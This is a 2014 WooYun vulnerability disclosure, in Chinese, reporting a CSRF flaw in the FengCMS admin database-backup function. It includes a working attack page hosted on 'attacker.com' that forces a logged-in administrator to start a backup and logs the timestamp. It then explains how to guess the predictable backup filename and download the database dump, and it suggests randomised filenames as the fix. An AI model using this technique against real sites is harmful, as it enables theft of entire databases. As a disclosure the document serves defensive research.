当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068440

漏洞标题:FengCMS的CSRF漏洞可导致数据库被dump

相关厂商:fengcms.com

漏洞作者: mramydnei

提交时间:2014-07-14 10:14

修复时间:2014-10-12 10:16

公开时间:2014-10-12 10:16

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-14: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商已经确认,细节仅向厂商公开
2014-07-17: 细节向第三方安全合作伙伴开放
2014-09-07: 细节向核心白帽子及相关领域专家公开
2014-09-17: 细节向普通白帽子公开
2014-09-27: 细节向实习白帽子公开
2014-10-12: 细节向公众公开

简要描述:

重要功能未进行csrf token验证导致可被脱裤

详细说明:

后台管理中的数据备份功能未进行csrf token验证。
攻击者制作内容如下的csrf.php并放到attacker.com下面:

<?php
file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND);
file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s"),FILE_APPEND);
?>
<img src="http://victim.com/admin/?controller=dbmanage&operate=save&type=0">


随后将http://attacker.com/csrf.php这个URL发送给受害者(网站管理员)。如果管理员在打开该URL时处于登录状态就会以管理员的身份像目标服务器发送备份数据库的请求:

?controller=dbmanage&operate=save&type=0


与此同时,攻击者还会获取到管理员发送该求情的大概时间。(此处需要声明的是,虽然攻击者获取的时间为自己服务器的时间。但是服务器嘛,一个国家内的除去新疆都没有时差。而且都会跟time server同步。所以基本上是不用考虑两台服务器之间的时间差问题。)
现在攻击者跑到http://attacker.com/test.txt查看管理员发送请求时的时间:

IP:119.72.193.99 Time:2014.07.14 00:48:39


随后将其改成如下的格式:

a-b-c_def/00001.sql(年-月-日_时分秒)


改完后,就是:

2014-07-14_004839/00001.sql


最后再把路径也加进来:

http://10.211.55.4/admin/app/dbbackup/2014-07-14_004839/00001.sql


局域网内环境测试,会有2s左右的时间差。如果是Internet肯定会根据实际网络状况有更大的差别,不过不会太大。再夸张也还是秒单位的。所以攻击者只需要逐步修改URL中的秒数从39开始一秒一秒的推。
最后就可以下载到备份数据了。

漏洞证明:

攻击者成功得到备份数据库路径,并进行下载:

1.png

修复方案:

1。备份文件名可预测性过高。建议使用随机性更强的文件名

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-14 10:18

厂商回复:

非常感谢!我们的程序员马上研究!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-16 14:21 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

    。。。不错的样子。down个源码看看去

  2. 2014-07-16 15:47 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    老师 你发的洞太高深了 别人程序员得研究会了来

  3. 2014-07-19 03:30 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @′ 雨。 我就混点生活费,都是没技术含量的BUG